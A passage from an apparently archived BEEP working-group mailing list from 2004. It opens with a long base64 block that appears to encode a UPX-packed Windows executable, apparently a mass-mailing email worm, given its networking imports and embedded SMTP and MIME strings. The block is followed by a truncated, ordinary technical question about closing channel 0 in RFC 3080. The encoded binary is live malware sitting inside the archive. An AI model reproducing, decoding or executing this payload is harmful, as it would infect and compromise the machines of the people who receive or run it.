AAAAAOAADwELAQUMACAAAAAQAAAAkAAA0LcAAACgAAAAwAAAAABAAAAQAAAAAgAABAAAAAAA
AAAEAAAAAAAAAADQAAAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
AAAAALjLAAAcAgAAAMAAALgLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAAAJAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAA
AOBVUFgxAAAAAAAgAAAAoAAAABoAAAAEAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAA
AMAAAAAOAAAAHgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAMS4yNABVUFghDAkCCBcg4eQkXr/MwJUAAMkXAAAAQgAAJgAA43f3
//9Vi+xX/It9CItNDMHpAjPA4wLzqwuD4QMJ/3f/fqpfycIIACJTi10MJWoZ6AAAAqaDwGH8
ZJAp+6pLdfFbHwkwsr37L4PE/FP/dQgcIsiL2AkQ2fbvPwPYg8MQU2pADG6JRfwXDCQX5Gv/
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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAMAAAIAAAAAAAAAAAAAA
AAAAAAMAAQAAAEgAAIACAAAAcAAAgAMAAACYAACAAAAAAAAAAAAAAAAAAAABAAAAAABgAAAA
BMEAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAiAAAAPDDAAAoAQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAEAAAAAALAAAAAcxQAAaAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAABAAEAAADYAACAAAAAAAAAAAAAAAAAAAABAAAAAADwAAAAiMsAADAAAAAAAAAAAAAAAACR
AAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAA
AICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAA
AAAAAAAAAAAAAAAAAAAAAACHd3d3d3d3d3d3d3AAAAAAj/////////////9wAAAAAI//////
////////cAAAAACP///3d////////3AAAAAAj///d3d///////9wAAAAAI//8AB3f///////
cAAAAACP/wMHh3f4/////3AAAAAAj/Awf4d3j/////9wAAAAAI8DMH/4eP//////cAAAAAeA
M4h/+Hd//////3AAAAB3A7cIf/h3f/iP//9wAAAAADt7CH//h3iP////cAAAMzO3twiH/4eP
/////3AAA/s7e3sAB/+Hf/////9wAAP3N7e3CID/h3//////cAAD+zv7/weA/4eIiIiP/3AA
A/8/v78PgP+Hf/////9wAAP7P///AI//h3//////cAAAMzu/vwh//4eP/////3AAAAADe/sH
f/+H+I////9wAAAAADe/sH/4d//4j///cAAAAACDe/B/+H///////3AAAAAAjzewf/h4////
//9wAAAAAI/zeAeH/4//////cAAAAACP/zcHj//4/////3AAAAAAj//zAP//////gAAAAAAA
AI///////////4/4AAAAAACP//////////+PgAAAAAAAj///////////iAAAAAAAAI//////
/////4AAAAAAAACIiIiIiIiIiIiAAAAA/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wA
AAP8AAAD/AAAA/gAAAPwAAAD4AAAA8AAAAOAAAADgAAAA4AAAAOAAAADgAAAA8AAAAP4AAAD
/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAB/wAAA/8AAAf/AAAP/wAAH/okwAAKAAAABAA
AAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA
gACAAICAAADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA
h3d3d3dwAACP/////3AAAIAA////cAAHAzA/+P9wAIA7D4+P/3AAA7B/j///cDuL8A+PiI9w
P3vwj4///3ADP7B/j4//cAAz+A+P+P9wAAM/Az///3AAAIOI//8AAAAAj////3+AAACP////
eAAAAIiIiIiAAPAAAADwAAAA8AAAAPAAAADgAAAAwAAAAIAAAAAAAAAAAAAAAIAAAADAAAAA
4AAAAPAAAADwAQAA8AMAAPAHAAAQlQAAKAAAADAAAABgAAAAAQAEAAAAAAAABgAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAA
AP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACHd3d3d3
d3d3d3d3d3d3d3d3AAAAAAAACP/////////////////////3AAAAAAAACP//////////////
///////3AAAAAAAACP/////////////////////3AAAAAAAACP/////////////////////3
AAAAAAAACP/////////////////////3AAAAAAAACP/////3d//////////////3AAAAAAAA
CP////93d3/////////////3AAAAAAAACP////AAd3f////////////3AAAAAAAACP///wMH
h3f//4j////////3AAAAAAAACP//8DB/eHd/iP/////////3AAAAAAAACP//AzD/+HeI////
///////3AAAAAAAACP/wM4j//4d////////////3AAAAAAAACP8DMwf//4d////////////3
AAAAAAAACPAzNwf//4d3////+P/////3AAAAAAAHeAM3uAf//4d3//+Ij//////3AAAAAAB3
cDt7cIf///h3+Ij////////3AAAAAAAAA7e3sIh///h3j//////////3AAAAADMzO3t7cIiH
//h3///////////3AAAAA/ezt7e3sAAH//h3///////////3AAAAA/tze3t7cIiA//h3////
///////3AAAAA/ezt7e3sIeA//h3///////////3AAAAA/vz+/v78IeA//h3iIiIiIiP///3
AAAAA/+zv7+/sI+A//h3///////////3AAAAA//z////8I+A//h3///////////3AAAAA/+z
////8AiP//h3///////////3AAAAADd3O///8If///h3///////////3AAAAAAMzO7+/8If/
//h/j//////////3AAAAAAAAA3v78If///h/+Ij////////3AAAAAAAACDe/twf//4d///+I
j//////3AAAAAAAACPN79wf//4d/////+P/////3AAAAAAAACP83vwf//4f////////////3
AAAAAAAACP/ze4j//4f////////////3AAAAAAAACP//N3D/+H+I///////////3AAAAAAAA
CP//83B/eP//iP/////////3AAAAAAAACP///zcHj////4j////////3AAAAAAAACP////MA
//////////gAAAAAAAAAAAAACP////////////////j///94AAAAAAAACP//////////////
//j///eAAAAAAAAACP////////////////j//3gAAAAAAAAACP////////////////j/94AA
AAAAAAAACP////////////////j/eAAAAAAAAAAACP////////////////j3gAAAAAAAAAAA
CP////////////////h4AAAAAAAAAAAACP////////////////iAAAAAAAAAAAAACP//////
//////////gAAAAAAAAAAAAACIiIiIiIiIiIiIiIiIgAAAAAAAD/gAAAAAcAAP+AAAAABwAA
/4AAAAAHAAD/gAAAAAcAAP+AAAAABwAA/4AAAAAHAAD/gAAAAAcAAP+AAAAABwAA/4AAAAAH
AAD/gAAAAAcAAP+AAAAABwAA/4AAAAAHAAD/gAAAAAcAAP+AAAAABwAA/4AAAAAHAAD/gAAA
AAcAAP4AAAAABwAA/AAAAAAHAAD4AAAAAAcAAPAAAAAABwAA4AAAAAAHAADgAAAAAAcAAOAA
AAAABwAA4AAAAAAHAADgAAAAAAcAAOAAAAAABwAA4AAAAAAHAADwAAAAAAcAAPgAAAAABwAA
/4AAAAAHAAD/gAAAAAcAAP+AAAAABwAA/4AAAAAHAAD/gAAAAAcAAP+AAAAABwAA/4AAAAAH
AAD/gAAAAAcAAP+AAAAABwAA/4AAAAAHAAD/gAAAAA8AAP+AAAAAHwAA/4AAAAA/AAD/gAAA
AH8AAP+AAAAA/wAA/4AAAAH/AAD/gAAAA/8AAP+AAAAH/wAA/4AAAA//AAB4mwAAAAABAAMA
ICAQAAEABADoAgAAAQAQEBAAAQAEACgBAAACADAwEAABAAQAaAYAAAMAAAAAAAAAAAAAAAAA
0MwAAIDMAAAAAAAAAAAAAAAAAADdzAAAkMwAAAAAAAAAAAAAAAAAAOrMAACYzAAAAAAAAAAA
AAAAAAAA98wAAKDMAAAAAAAAAAAAAAAAAAABzQAAqMwAAAAAAAAAAAAAAAAAAA3NAACwzAAA
AAAAAAAAAAAAAAAAGc0AALjMAAAAAAAAAAAAAAAAAAAkzQAAwMwAAAAAAAAAAAAAAAAAADDN
AADIzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8zQAASs0AAFrNAAAAAAAAaM0AAAAAAAB2zQAA
AAAAAIjNAAAAAAAAls0AAAAAAACmzQAAAAAAALDNAAAAAAAAvM0AAAAAAADMzQAAAAAAAEtF
Uk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAaXBobHBhcGkuZGxsAG9sZTMyLmRsbABTSEVMTDMy
LmRsbABzaGx3YXBpLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA
TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl
eQAAAEdldE5ldHdvcmtQYXJhbXMAAENvSW5pdGlhbGl6ZQAAU2hlbGxFeGVjdXRlQQAAAFN0
ckR1cEEAAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAcmVjdgAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=

----------411504058557274--


From lzhang@juniper.net Thu Feb 19 14:27:30 2004
Received: from colo-dns-ext2.juniper.net (colo-dns-ext2.juniper.net [207.17.137.64])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i1JMHeWJ018257
	for <beepwg@lists.beepcore.org>; Thu, 19 Feb 2004 14:17:40 -0800 (PST)
Received: from merlot.juniper.net (merlot.juniper.net [172.17.27.10])
	by colo-dns-ext2.juniper.net (8.12.3/8.12.3) with ESMTP id i1JMHNBm075564
	for <beepwg@lists.beepcore.org>; Thu, 19 Feb 2004 14:17:35 -0800 (PST)
	(envelope-from lzhang@juniper.net)
Received: from juniper.net (lzhang-bsd.juniper.net [172.17.20.151])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id i1JMHNo57260
	for <beepwg@lists.beepcore.org>; Thu, 19 Feb 2004 14:17:23 -0800 (PST)
	(envelope-from lzhang@juniper.net)
Message-ID: <403535F3.2050003@juniper.net>
Date: Thu, 19 Feb 2004 14:17:23 -0800
From: Lei Zhang <lzhang@juniper.net>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.8) Gecko/20020206
X-Accept-Language: en-us
MIME-Version: 1.0
To: beepwg@lists.beepcore.org
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Subject: [BEEPwg] When can a BEEP peer send <close number='0'>
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

RFC 3080 section 2.3.1.3 clearly specifies when a BEEP peer may send a 
"close" message for a channel, but the RFC isn't quite clear about when 
a BEEP peer may send <close number='0'>.  I''m asking this because I run 
into a problem with beepcore-c: peer A sends <close number='0'> after it 
receives <close number='1'> but before it acknowledges the channel close 
request; and peer B releases all channel on seeing <close number='0'>, 
then it sees the <ok> for the <close number='1'> request it sent out and 
